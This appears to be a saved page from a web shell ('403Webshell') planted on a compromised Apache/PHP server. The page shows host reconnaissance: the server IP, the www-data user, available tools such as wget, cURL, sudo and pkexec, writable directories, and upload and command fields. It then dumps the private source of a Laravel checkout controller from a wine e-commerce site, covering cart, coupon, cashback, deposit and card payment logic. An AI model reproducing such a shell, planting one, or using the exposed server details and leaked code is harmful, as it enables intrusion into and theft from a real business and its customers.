403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Website/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Website/CheckoutController.php
<?php

namespace App\Http\Controllers\Website;

use App\Modules\AdegaVirada\Services\AdegaViradaService;
use App\Services\CheckoutService;
use DB;
use Cart;
use Sentinel;

use App\BasicInfo;

use App\Http\Requests;
use Illuminate\Http\Request;
use App\Services\CartService;

use App\Services\GeralService;
use App\Modules\Pais\Models\Pais;
use App\Modules\Cupom\Models\Cupom;

use App\Modules\Frete\Models\Frete;
use Illuminate\Support\Facades\Log;
use App\Modules\Cidade\Models\Cidade;
use App\Modules\Estado\Models\Estado;
use App\Modules\Oferta\Models\Oferta;

use App\Modules\Produto\Models\Produto;
use App\Http\Controllers\BaseController;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\Whatsapp\Models\Whatsapp;
use App\Modules\Confraria\Models\Confraria;
use App\Modules\PedidoVenda\Models\PedidoVenda;

use App\Modules\CupomCadastro\Models\CupomCadastro;


use App\Modules\OfertaReserva\Models\OfertaReserva;
use App\Modules\Confraria\Services\ConfrariaService;

use App\Modules\CadastroCartao\Models\CadastroCartao;
use App\Modules\CupomIndicacao\Models\CupomIndicacao;
use App\Modules\CadastroEndereco\Models\CadastroEndereco;

use App\Modules\CupomPedidoVenda\Models\CupomPedidoVenda;

use App\Modules\CondicaoComercial\Models\CondicaoComercial;
use App\Modules\CupomPedidoIndicacao\Models\CupomPedidoIndicacao;

use App\Modules\PedidoVendaHistorico\Models\PedidoVendaHistorico;

use App\Modules\PedidoVendaHasProduto\Models\PedidoVendaHasProduto;
use App\Modules\PedidoVendaIntegracao\Models\PedidoVendaIntegracao;


class CheckoutController extends BaseController
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
        setlocale(LC_ALL, 'pt_BR', 'pt_BR.utf-8', 'pt_BR.utf-8', 'portuguese');
        date_default_timezone_set('America/Sao_Paulo');
    }

    public function checkoutReserva(){

        $reservas   = OfertaReserva::where('hash', session('hash_oferta'))
                                        ->where('data_controle', session('data_controle'))
                                        ->where('data_expiracao', session('data_expiracao'))->get();
        
        foreach ($reservas as $reserva){

            $oferta = $reserva->oferta;
            $oferta->estoque = $oferta->estoque + $reserva->quantidade;
            $oferta->save();

            $reserva->delete();
            
        }

        session()->forget('data_controle');
        session()->forget('data_expiracao');

        $canalBlackFriday = GeralService::checkCanalBlackFriday();

        $keyReserva = str_replace("=", "", base64_encode('reservaTimeout'));
        setcookie($keyReserva, TRUE, time() + 60 * 60 * 24 * 1); //24 HS KeyReserva == 'cmVzZXJ2YVRpbWVvdXQ'

        return response()->json(array(
            'status'  => true,
            'message' => 'Reservas Atualizadas',
            'url'     => ($canalBlackFriday ? url(tipo_canal($canalBlackFriday->tipo)."/{$canalBlackFriday->slug}") : '')
        ));
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function checkout()
    {
        OfertaReserva::dataAtual();

        $data = array();

        $data['cartItems'] = Cart::content();

        $data['mostrarBoxCashback'] = CartService::mostrarBoxCashback();

        $data['htmlListagemCart']  = CartService::buscarHtmlListagemCart();

        $data['htmlCupomDesconto'] = CartService::buscarHtmlCupomDesconto();

        $data['htmlCupomAdegaVirada'] = CartService::buscarHtmlCupomAdegaVirada();

        $data['htmlRegulamentoAdegaVirada'] = CartService::buscarHtmlRegulamentoAdegaVirada();

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'             => 3,
            'oferta_semana'     => true,
            'oferta_dia'        => true,
            'oferta_individual' => true,
            'oferta_solidaria'  => false,
            'oferta_equipe'     => true,
            'random'            => true
        ]);

        $data['oferta_solidaria'] = GeralService::buscarOfertaSolidaria();

        $data['oferta_casada']   = GeralService::buscarOfertaCasada();
        
        $data['ofertas_casadas'] = GeralService::buscarOfertasCasadas();

        $data['htmlIdentificacao'] = CartService::buscarHtmlIdentificacao();

        $data['regioes'] = GeralService::buscarFretesPorRegiao();

        $fretes = Frete::select('frete.*', DB::raw('(SELECT count(f.id) FROM frete as f WHERE f.regiao_id = frete.regiao_id) as quantidade_fretes '))->orderBy('valor_inicial', 'ASC')->groupBy('frete.regiao_id', 'custo')->get();

        $data['max_fretes'] = $fretes->max('quantidade_fretes');

        foreach ($fretes as $frete) {
            $data['fretes'][$frete->regiao_id][] = $frete;
        }
        $data['titulo_pagina'] = 'Finalizar';

        $data['subtitulo_pagina'] = 'Compra';

        $data['primeira_compra'] = GeralService::buscarPrimeiraCompra();

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['oferta_relampago'] = GeralService::buscarOfertaCanalRelampago();

        // $data['sugestoesProdutos'] = GeralService::buscarSugestoesProduto();

        //print_r($data['sugestoesProdutos']);
        //die()
        
        $clienteLogado = GeralService::buscarClienteLogado();

        $data['clienteLogado'] = $clienteLogado;
        $data['dadosAdega']    = GeralService::buscarFreteAdegaAberta();

        return view('checkout.checkout', $data);
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function checkoutConfraria()
    {
        OfertaReserva::dataAtual();

        $data = array();

        $data['cartItems'] = Cart::content();

        $data['mostrarBoxCashback'] = CartService::mostrarBoxCashback();

        $data['htmlListagemCart']  = CartService::buscarHtmlListagemCart();

        $data['htmlCupomDesconto'] = CartService::buscarHtmlCupomDesconto();

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'             => 3,
            'oferta_semana'     => true,
            'oferta_dia'        => true,
            'oferta_individual' => true,
            'oferta_solidaria'  => false,
            'random'            => true
        ]);

        $data['oferta_solidaria'] = GeralService::buscarOfertaSolidaria();

        $data['oferta_casada']   = GeralService::buscarOfertaCasada();
        
        $data['ofertas_casadas'] = GeralService::buscarOfertasCasadas();

        $data['htmlIdentificacao'] = CartService::buscarHtmlIdentificacao(true);

        $data['regioes'] = GeralService::buscarFretesPorRegiao();

        $fretes = Frete::select('frete.*', DB::raw('(SELECT count(f.id) FROM frete as f WHERE f.regiao_id = frete.regiao_id) as quantidade_fretes '))->orderBy('valor_inicial', 'ASC')->groupBy('frete.regiao_id', 'custo')->get();

        $data['max_fretes'] = $fretes->max('quantidade_fretes');

        foreach ($fretes as $frete) {
            $data['fretes'][$frete->regiao_id][] = $frete;
        }
        $data['titulo_pagina'] = 'Finalizar';

        $data['subtitulo_pagina'] = 'Compra';

        $data['primeira_compra'] = GeralService::buscarPrimeiraCompra();

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['oferta_relampago'] = GeralService::buscarOfertaCanalRelampago();

        // $data['sugestoesProdutos'] = GeralService::buscarSugestoesProduto();

        //print_r($data['sugestoesProdutos']);
        //die();

        $clienteLogado = GeralService::buscarClienteLogado();

        $data['clienteLogado'] = $clienteLogado;
        $data['dadosAdega']    = GeralService::buscarFreteAdegaAberta();

        return view('checkout/checkout', $data);
    }

    public function checkDisponibilidadeOferta(Request $request){

        try {
            
            $input   = $request->input();
            $Oferta  = Oferta::where('id', $input['oferta_id'])->first();
            $message = "Não há disponibilidade em estoque para este produto!";

            if(!$Oferta->produtos){
                $status = false;
            }else{

                $status       = false;
                $Produto      = $Oferta->produtos[0];
                $SaldoProduto = GeralService::atualizarSaldoProduto($Produto->produto);

                if($SaldoProduto->produto->disponibilidade > 0 && $Produto->produto->preco_mercado > $Produto->produto->preco_custo){

                    $status = true;
                    $ofertaClone             = $Oferta->replicate();
                    $ofertaClone->short_link = NULL;
                    $ofertaClone->slug       = NULL;
                    $ofertaClone->data       = date('Y-m-d');
                    $ofertaClone->tipo       = 'M';
                    $ofertaClone->estoque    = 1;
                    $ofertaClone->qtde_vendida = 0;
                    $ofertaClone->poucas_unidades    = 1;
                    $ofertaClone->quantidade_maxima_por_cliente = 1;
                    $ofertaClone->percentual_desconto = 0;
                    $ofertaClone->preco_oferta = $Produto->produto->preco_mercado;
                    $ofertaClone->save();

                    if(isset($Oferta->produtos)){
                        $preco_oferta = 0;
                        foreach ($Oferta->produtos as $produtoOferta) {

                            $produtosOfertaClone = $produtoOferta->replicate();
                            $produtosOfertaClone->id_oferta = $ofertaClone->id;
                            $produtosOfertaClone->valor_unitario = $produtoOferta->produto->preco_mercado;
                            $produtosOfertaClone->preco_mercado = $produtoOferta->produto->preco_mercado;
                            $produtosOfertaClone->preco_custo = $produtoOferta->produto->preco_custo;
                            $produtosOfertaClone->valor_total = $produtoOferta->produto->preco_mercado;
                            $produtosOfertaClone->quantidade = 1;
                            $produtosOfertaClone->save();

                            $preco_oferta += $produtoOferta->produto->preco_mercado;
                        }
                    }

                    $Oferta = $ofertaClone;
                    if($preco_oferta > 0){
                        $Oferta->preco_oferta  = $preco_oferta;
                        $Oferta->preco_mercado = $preco_oferta;
                        $Oferta->save();
                    }

                }
            }

        } catch (Exception $e) {
            $status = false;
        }

        $result = [
            'status'  => $status,
            'message' => $message,
            'slug'    => $Oferta->slug,
            'id'      => $Oferta->id,
        ];

        return response()->json($result);

    }

    public function addOfertaDia(Request $request){
        $input = $request->input();

        if (!$input['quantidade']) {
            return response()->json(array(
                'status' => false,
                'message' => 'Você deve fornecer uma quantidade válida.',
            ));
        }

        $result = CartService::addOfertaDia($input);

        return response()->json($result);
    }

    public function addOfertaSemana(Request $request){
        $input = $request->input();

        if (!$input['quantidade']) {
            return response()->json(array(
                'status' => false,
                'message' => 'Você deve fornecer uma quantidade válida.',
            ));
        }

        $result = CartService::addOfertaSemana($input);

        return response()->json($result);
    }

    public function addOfertaRelampago(Request $request){
        $input = $request->input();

        if (!$input['quantidade']) {
            return response()->json(array(
                'status' => false,
                'message' => 'Você deve fornecer uma quantidade válida.',
            ));
        }

        $result = CartService::addOfertaRelampago($input);

        return response()->json($result);
    }

    public function addItem(Request $request){
        $input = $request->input();

        $result = CartService::addItem($input);

        $result['parcelas'] = CartService::buscarParcelas();

        $result['html'] = CartService::buscarHtmlListagemCart();

        $result['html_cupom'] = CartService::buscarHtmlCupomDesconto();

        return response()->json($result);
    }

    public function addOferta(Request $request){

        $input = $request->input();

        if(!isset($input['oferta_id'])){
            Log::info('CheckoutController::addOferta =>  !isset(oferta_id) ' . json_encode($input));
        }

        $result = CartService::addOferta($input);

        $result['parcelas'] = CartService::buscarParcelas();

        $result['html'] = CartService::buscarHtmlListagemCart();

        $result['html_cupom'] = CartService::buscarHtmlCupomDesconto();

        return response()->json($result);
    }

    public function updateItem(Request $request){
        $input = $request->input();

        $result = CartService::updateItem($input);

		$html = CartService::buscarHtmlListagemCart();

        $htmlCupom = CartService::buscarHtmlCupomDesconto();

        $parcelas = CartService::buscarParcelas();

        return response()->json(array(
            'status'     => $result['status'],
            'message'    => $result['message'],
            'quantidade' => $result['quantidade'],
            'parcelas'   => $parcelas,
            'html'       => $html,
            'html_cupom' => $htmlCupom,
        ));
    }

     public function updateOfertaCart(Request $request){

        $input = $request->input();

        $resultDelete = CartService::deleteItem($input);

        $resultAddOferta = CartService::addOferta($input);

        $result = [];
        $result['parcelas']   = CartService::buscarParcelas();
        $result['html']       = CartService::buscarHtmlListagemCart();
        $result['html_cupom'] = CartService::buscarHtmlCupomDesconto();
        $result['message']    = $resultAddOferta['message'];
        $result['status']     = $resultAddOferta['status'];

        return response()->json($result);

    }


    public function deleteItem(Request $request){
        $input = $request->input();

        $result = CartService::deleteItem($input);

		$html = CartService::buscarHtmlListagemCart();

        $parcelas = CartService::buscarParcelas();

        $htmlCupom = CartService::buscarHtmlCupomDesconto();

        return response()->json(array(
            'status'     => true,
            'message'    => 'Item removido com sucesso!',
            'parcelas'   => $parcelas,
            'html'       => $html,
            'html_cupom' => $htmlCupom
        ));
    }

    public function reloadCart(Request $request){
        
        $html       = CartService::buscarHtmlCart();
        $data_atual = OfertaReserva::dataAtual();
        $reserva = [
            'data_expiracao' => (session('data_expiracao') ? date('Y/m/d H:i:s', strtotime(session('data_expiracao'))) : ''),
            'data_expire'    => (session('data_expiracao') ? date('d/m/Y H:i:s', strtotime(session('data_expiracao'))) : ''),
            'data_atual'     => date('d/m/Y H:i:s', strtotime($data_atual))
        ];

        //CartCount
        $qtdeItens  = CartService::buscarQtdeItensCart();
        $valorTotal = CartService::calcularValorTotal();

        if($valorTotal->totalOriginal == 0){
            session(['cupom' => null]);
            session(['cupom_adega_virada' => null]);
            session(['usar_saldo' => null]);
        }

        // $html       = CartService::buscarHtmlListagemCart();
        // $html_cupom = CartService::buscarHtmlCupomDesconto();
        $parcelas   = CartService::buscarParcelas();

        $html_cashback          = CartService::buscarHtmlCashback();
        $html_cashback_checkout = CartService::buscarHtmlCashbackCheckout();
        $html_adega_virada      = CartService::buscarHtmlCupomAdegaVirada();
        $html_adega_regulamento = CartService::buscarHtmlRegulamentoAdegaVirada();

        return response()->json(array(
            'status'                 => true,
            'message'                => 'Carrinho atualizado com sucesso!',
            'usar_saldo'             => session('usar_saldo'),
            'html'                   => $html,
            'html_adega_virada'      => $html_adega_virada,
            'html_adega_regulamento' => $html_adega_regulamento,
            'html_cashback'          => $html_cashback,
            'html_cashback_checkout' => $html_cashback_checkout,
            'reserva'                => $reserva,
            'parcelas'               => $parcelas,
            'text_finalizar_compra'   => 'Finalizar compra ('.$qtdeItens. ' '.($qtdeItens <= 1 ? 'item' : 'itens') . ')',
            'valor_total' => [
                'total'          => number_format($valorTotal->total, 2, ',', '.'), 
                'total_original' => number_format($valorTotal->totalOriginal, 2, ',', '.'), 
                'desconto'       => $valorTotal->desconto, 
                'cupom'          => $valorTotal->cupom, 
                'total_cupom'    => number_format($valorTotal->totalCupom, 2, ',', '.'),
                'total_cashback' => number_format($valorTotal->totalCashback, 2, ',', '.'),
                'valor_restante' => $valorTotal->totalCashback
            ]
        ));

    }

    public function reloadListagem(Request $request){

        $html = CartService::buscarHtmlListagemCart();

        return response()->json(array(
            'status'  => true,
            'message' => 'Listagem carregada com sucesso!',
            'html'    => $html
        ));
    }

    public function confirmarAlerta(Request $request){

        $post   = $request->input();
        $alerta = ($post['alerta'] ? $post['alerta'] : 0);

        $clienteLogado = GeralService::buscarClienteLogado();
        $clienteLogado->exibe_alerta = $alerta;
        $clienteLogado->save();

        return response()->json(array(
            'status'  => true,
            'message' => 'Exibição alerta salva com sucesso!'
        ));

    }

    public function confirmarCompra(Request $request){
        $idempotencyToken = $request->input('idempotency_token');
        $user = Sentinel::getUser();
        
        if($idempotencyToken && $user){
            $pedidoExistente = PedidoVenda::where('idempotency_token', $idempotencyToken)->first();
            
            if($pedidoExistente){
                Log::info("DUPLICATE CHECKOUT DETECTED (IDEMPOTENCY TOKEN): Pedido {$pedidoExistente->id} já existe com token {$idempotencyToken}");
                
                return response()->json(array(
                    'status'  => true,
                    'message' => 'Compra <strong>efetuada</strong> com sucesso!',
                    'id'      => $pedidoExistente->id
                ));
            }
        }

        if(!session('hash_tracking')){
            $hash_tracking = md5(date('Y-m-d H:i:s').microtime(true));
            session(['hash_tracking' => $hash_tracking]);
        }
        $hash = session('hash_tracking');

        Log::info("START CHECKOUT ({$hash})" . ($idempotencyToken ? " [IDEMPOTENCY: {$idempotencyToken}]" : ""));

        $file      = $request->file();
        $post      = $request->input();
        $cartItems = Cart::content();

        if(Cart::count() <= 0 && Cart::subtotal(2,'.','') <= 0){
            return response()->json(array(
                'status' => false,
                'message' => 'Seu carrinho está vazio.'
            ));
        }

        Log::info("STEP 01 BEGIN : VALIDAR COMPRA OFERTA ({$hash})");

        $custo_efetivo = 0;
        $desconto_ocultado = 0;
        foreach ($cartItems as $item) {
            if($item->options->desconto_ocultado)
                $desconto_ocultado = 1;

            $custo_efetivo += $item->options->custo_efetivo * $item->qty;
            if($item->options->tipo == 'oferta'){
                $result = CartService::validarCompraOferta(['id_oferta' => $item->options->id, 'quantidade' => $item->qty, 'tamanho' => $item->options->tamanho, 'modelo' => $item->options->modelo]);
            }else{
                $result = CartService::validarCompraProduto(['id_produto' => $item->options->id, 'quantidade' => $item->qty]);
            }

            if($result['valid'] == false){
                return response()->json(array(
                    'status' => false,
                    'message' => $result['message']
                ));
            }
        }

        Log::info("STEP 01 END : VALIDAR COMPRA OFERTA ({$hash})");

        if(!$user){
            $user = Sentinel::getUser();
        }
        $cadastro = Cadastro::where('user_id', $user->id)->first();

        if(!$user || !$cadastro){
            return response()->json(array(
                'status' => false,
                'message' => 'Verifique se você está logado para finalizar a compra'
            ));
        }

        if($cadastro->bloqueio_cliente == 1){
            return response()->json(array(
                'status'  => false,
                'message' => 'Infelizmente não foi possível concluir a sua compra. Em caso de dúvidas favor entrar em contato <a href="'.url('/contato').'" style="color: blue">clicando aqui</a>.'
            ));
        }

        if(count($cadastro->enderecos) == 0){
            if(!isset($post['cep']) || !$post['cep']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo CEP é obrigatório.'
                ));
            }

            if(!isset($post['logradouro']) || !$post['logradouro']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo Rua é obrigatório.'
                ));
            }

            if(!isset($post['numero']) || !$post['numero']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo Número é obrigatório.'
                ));
            }

            if(!isset($post['bairro']) || !$post['bairro']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo Bairro é obrigatório.'
                ));
            }

            if(!isset($post['estado_id']) || !$post['estado_id']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo Estado é obrigatório.'
                ));
            }

            if(!isset($post['cidade_id']) || !$post['cidade_id']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo Cidade é obrigatório.'
                ));
            }

            if(!isset($post['pais_id']) || !$post['pais_id']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo País é obrigatório.'
                ));
            }
        }

        if (!$cadastro->telefone) {
            if(!isset($post['telefone']) || !$post['telefone']){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo Telefone é obrigatório.'
                ));
            }

            if(strlen($post['telefone']) < 14){
                return response()->json(array(
                    'status' => false,
                    'message' => 'O campo Telefone é inválido. Por favor verificar se foi preenchido corretamente.'
                ));
            }

            $telefone = (int) $res = preg_replace("/[^0-9]/", "", $post['telefone']);
            $cadastro->telefone = $post['telefone'];
        }

        $pedidoVenda = new PedidoVenda();
        $pedidoVenda->desconto_ocultado = $desconto_ocultado;
        $pedidoVenda->saldo_usado = (isset($post['cashback']) ? 1 : 0);
        $pedidoVendaHistorico = new PedidoVendaHistorico();
        

        //Pedido Venda Confraria
        $confraria = ConfrariaService::buscarConfrariaUsuarioLogado();
        if($confraria && isset($post['tipo_adega']) && $post['tipo_adega'] == 'confraria'){
            $confraria = Confraria::where('id', $confraria->id)->first(); // devido uso contaCorrente
            $pedidoVenda->confraria_id = $confraria->id;
        }

		$cupom = session('cupom');
        $adega_virada_indicacao = session('cupom_adega_virada');
        $cupomIndicacaoAtivo = GeralService::buscarCupomIndicacaoAtivo();

        if($adega_virada_indicacao){
            $checkParticipacao = AdegaViradaService::regulamentoStatus();
            if(!$checkParticipacao){
                return response()->json(array(
                    'status'  => false,
                    'message' => 'Você <strong>ainda não está participando</strong> da Adega da Virada 2023. Aceite o <strong><a href="' . url('/adega-da-virada/regulamento') . '">regulamento</a></strong> para efetivar sua participação.'
                ));
            }
            if(empty($cadastro->adegaViradaParticipanteIndicacao->adega_virada_cupom_id)){
                $pedidoVenda->id_adega_virada_indicacao = $adega_virada_indicacao['indicacao_id'];
            }
        }

        if(isset($post['tipo_deposito']) && $post['tipo_deposito']){

            Log::info("STEP 02 BEGIN : PAGAMENTO DEPÓSITO ({$hash})");

            if($post['tipo_deposito'] != 'PIX' && $post['tipo_deposito'] != 'CASH' && (!isset($post['nome_depositante']) || !$post['nome_depositante'])){
                return response()->json(array(
                    'status'  => false,
                    'message' => 'Você deve preencher o nome do depositante.'
                ));
            }

            Log::info("STEP 02.01 BEGIN : UPLOAD COMPROVANTE ({$hash})");

            if($request->hasFile('fileUpload')) {
                $file = $request->file('fileUpload');

                $comprovante = GeralService::uploadFile($file, 'pedido-venda/comprovante');
                $pedidoVenda->comprovante = $comprovante->filename;
            }

            Log::info("STEP 02.01 END : UPLOAD COMPROVANTE ({$hash})");

            $subtotal = Cart::subtotal(2,'.','');
            $total    = $subtotal;

            Log::info("STEP 02.02 BEGIN : VALIDAÇÃO CUPOM ({$hash})");

            if($cupom && $cupom['codigo'] == env('CUPOM_SOCIOS', 'VINUMOFF')){
                $total = $custo_efetivo;
                $pedidoVenda->id_cupom = $cupom['id'];
            }elseif($cupom && $cupomIndicacaoAtivo && $cupom['codigo'] == $cupomIndicacaoAtivo->codigo){

                $Indicacoes = GeralService::buscarCuponsIndicacoes($cupom['id']);
                $indicacao  = (count($Indicacoes) > 0) ? 'id_indicador' : 'id_indicado';

                $Indicacoes  = GeralService::buscarQtdeIndicacoes($cupom['id'], $indicacao);
                $qtde_cupons = 1;
                if($Indicacoes && $Indicacoes->qtde_cupons > 0){
                    $qtde_cupons = $Indicacoes->qtde_cupons;
                }
                $total = $total - ($cupom['valor_desconto'] * $qtde_cupons);
                $total = $total > 0 ? $total : 0;
                $pedidoVenda->id_cupom = $cupom['id'];

            }elseif($cupom){
				$total = $subtotal * (1 - (($cupom['percentual_desconto'] ? $cupom['percentual_desconto'] : 100) / 100)) - $cupom['valor_desconto'];
				$total = $total > 0 ? $total : 0;
                $pedidoVenda->id_cupom = $cupom['id'];
			}

            $basicInfo = DB::table('sis_basic_info')
                ->where('id', 1)
                ->first();

            if($basicInfo->ativar_desconto_deposito){
                $descontoPixDep = ($total * $basicInfo->percentual_desconto_pix) / 100;
                $valorComDesconto = $total - $descontoPixDep;
                $total = number_format($valorComDesconto, 2, '.', '.');
            }

            if(isset($post['cashback'])){

                $contaCorrente = (!empty($pedidoVenda->confraria_id) ? $confraria->contaCorrente : $cadastro->contaCorrente);

                if($contaCorrente && $contaCorrente->saldo > $total){
                    $total = 0;
                }else{
                    $total = $total - ($contaCorrente ? $contaCorrente->saldo : 0);
                }

            }

			$ajuste = $total - $subtotal;

            Log::info("STEP 02.02 END : VALIDAÇÃO CUPOM ({$hash})");

            Log::info("STEP 02.03 BEGIN : CRIAÇÃO PEDIDO ({$hash})");

            if($idempotencyToken){
                $pedidoDuplicadoFinal = PedidoVenda::where('idempotency_token', $idempotencyToken)->first();
                if($pedidoDuplicadoFinal){
                    Log::info("DUPLICATE CHECKOUT DETECTED (FINAL CHECK DEPÓSITO): Pedido {$pedidoDuplicadoFinal->id} já existe com token {$idempotencyToken}");
                    return response()->json(array(
                        'status'  => true,
                        'message' => 'Compra <strong>efetuada</strong> com sucesso!',
                        'id'      => $pedidoDuplicadoFinal->id
                    ));
                }
                $pedidoVenda->idempotency_token = $idempotencyToken;
            }

            $pedidoVenda->subtotal = $subtotal;
            $pedidoVenda->total    = $total;
            $pedidoVenda->ajuste   = $ajuste;
            $pedidoVenda->data_fechamento = date('Y-m-d H:i:s');
            if($total == 0 && $post['tipo_deposito'] == 'CASH'){
                $pedidoVenda->nm_referencia = 'Compra com saldo Cashback realizada por '.$cadastro->nome.' '.$cadastro->sobrenome;
            }else{
                $pedidoVenda->nm_referencia = 'Intenção de depósito realizada por '.$cadastro->nome.' '.$cadastro->sobrenome;
            }
            $pedidoVenda->assunto = 'Pedido realizado através da plataforma.';
            $pedidoVenda->id_condicao_comercial = 1; // 1x
            $pedidoVenda->id_cliente = $cadastro->id;
            $pedidoVenda->tipo_deposito = $post['tipo_deposito'];
            $pedidoVenda->nome_depositante = (isset($post['nome_depositante']) ? $post['nome_depositante'] : '');
            if($total == 0 && $post['tipo_deposito'] == 'CASH'){
                $pedidoVenda->id_status_pedido_venda = 2; // Aprovado
            }else{
                $pedidoVenda->id_status_pedido_venda = 1; // Pendente
            }
            
            try {
                $pedidoVenda->save();
            } catch (\Illuminate\Database\QueryException $e) {
                if($e->getCode() == 23000 && strpos($e->getMessage(), 'idempotency_token') !== false && $idempotencyToken){
                    $pedidoExistente = PedidoVenda::where('idempotency_token', $idempotencyToken)->first();
                    if($pedidoExistente){
                        Log::info("DUPLICATE CHECKOUT DETECTED (UNIQUE CONSTRAINT): Pedido {$pedidoExistente->id} já existe com token {$idempotencyToken}");
                        return response()->json(array(
                            'status'  => true,
                            'message' => 'Compra <strong>efetuada</strong> com sucesso!',
                            'id'      => $pedidoExistente->id
                        ));
                    }
                }
                throw $e;
            }

            Log::info("STEP 02.03 END : CRIAÇÃO PEDIDO ({$hash})");

            $pedidoVendaHistorico->id_pedido_venda_status = $pedidoVenda->id_status_pedido_venda;

            Log::info("STEP 02.04 BEGIN : VALIDAÇÃO CADASTRO ({$hash})");

            if(count($cadastro->enderecos) == 0){
                $cadastroEndereco = new CadastroEndereco();
                $cadastroEndereco->fill($post);
                $cadastroEndereco->cadastro_id = $cadastro->id;
                $cadastroEndereco->principal = 1;
                //$cadastroEndereco->nome = 'Endereço de cadastro';
                $cadastroEndereco->save();
            }

            $cadastro->save();

            Log::info("STEP 02.04 END : VALIDAÇÃO CADASTRO ({$hash})");

            Log::info("STEP 02 END : PAGAMENTO DEPÓSITO ({$hash})");

        }else{

            $info = \App\BasicInfo::find(1);

            if($cupom && $info->cupomDesconto && $cupom['codigo'] == $info->cupomDesconto->codigo){
                return array(
                    'status'  => false,
                    'message' => 'Cupom Inválido para pagamentos com Cartão de Crédito!',
                    'html'    => ''
                );
            }

            if(env('APP_ENV') != 'production'){
                return response()->json(array(
                    'status'  => false,
                    'message' => 'Pagamento Cartão desabilitado para este ambiente! (Homologação)'
                ));
            }

            Log::info("STEP 02 BEGIN : PAGAMENTO CARTÃO ({$hash})");

              $subtotal = Cart::subtotal(2,'.','');
              $total    = $subtotal;

			  if($cupom && $cupom['codigo'] == env('CUPOM_SOCIOS', 'VINUMOFF')){
                    $total = $custo_efetivo;
                    $pedidoVenda->id_cupom = $cupom['id'];
              }elseif($cupom){
				  $total = $subtotal * (1 - (($cupom['percentual_desconto'] ? $cupom['percentual_desconto'] : 100) / 100)) - $cupom['valor_desconto'];
				  $total = $total > 0 ? $total : 0;
                  $pedidoVenda->id_cupom = $cupom['id'];
			  }
              
              if(isset($post['cashback'])){
                $contaCorrente = (!empty($pedidoVenda->confraria_id) ? $confraria->contaCorrente : $cadastro->contaCorrente);
                $total = $total - ($contaCorrente ? $contaCorrente->saldo : 0);
              }

			  $ajuste = $total - $subtotal;

			  if($total > 0){
                  $resultadoPagamento = CheckoutService::pagamento($cadastro, $user, $total, $post, $hash);
                  $resultado = (object)$resultadoPagamento;
                  if($resultado->status){
                      $id_pedido_venda_transacao = $resultado->id_pedido_venda_transacao;
                      $transaction_id = $resultado->transaction_id;
                  }else{
                      return response()->json($resultadoPagamento);
                  }
              }

            $condicaoComercial = CondicaoComercial::where('frequencia', 30)->where('numero_dias', $post['parcelas'] * 30)->first();

            $pre_venda = FALSE;
            foreach (Cart::content() as $item) {
                if($item->options->tipo == 'oferta'){
                    $oferta = Oferta::find($item->options->id);
                    if($oferta->pre_venda){
                        $pre_venda = TRUE;
                        break;
                    }
                }else{
                    break;
                }
            }

            $id_pedido_venda_status = $pre_venda ? 9 : 2;

            if($idempotencyToken){
                $pedidoDuplicadoFinal = PedidoVenda::where('idempotency_token', $idempotencyToken)->first();
                if($pedidoDuplicadoFinal){
                    Log::info("DUPLICATE CHECKOUT DETECTED (FINAL CHECK CARTÃO): Pedido {$pedidoDuplicadoFinal->id} já existe com token {$idempotencyToken}");
                    return response()->json(array(
                        'status'  => true,
                        'message' => 'Compra <strong>efetuada</strong> com sucesso!',
                        'id'      => $pedidoDuplicadoFinal->id
                    ));
                }
                $pedidoVenda->idempotency_token = $idempotencyToken;
            }

            $pedidoVenda->subtotal        = $subtotal;
            $pedidoVenda->total           = $total;
            $pedidoVenda->ajuste          = $ajuste;
            $pedidoVenda->data_fechamento = date('Y-m-d H:i:s');
            $pedidoVenda->nm_referencia   = 'Compra realizada por '.$cadastro->nome.' '.$cadastro->sobrenome;
            $pedidoVenda->assunto         = 'Pedido realizado através da plataforma.';
            $pedidoVenda->transacao_id    = null;
            if(isset($transaction_id) && $transaction_id){
                $pedidoVenda->transacao_id = $total > 0 ? $transaction_id : null;
            }
            $pedidoVenda->id_condicao_comercial  = $condicaoComercial->id;
            $pedidoVenda->id_cliente             = $cadastro->id;
            $pedidoVenda->id_status_pedido_venda = $id_pedido_venda_status;
            
            try {
                $pedidoVenda->save();
            } catch (\Illuminate\Database\QueryException $e) {
                if($e->getCode() == 23000 && strpos($e->getMessage(), 'idempotency_token') !== false && $idempotencyToken){
                    $pedidoExistente = PedidoVenda::where('idempotency_token', $idempotencyToken)->first();
                    if($pedidoExistente){
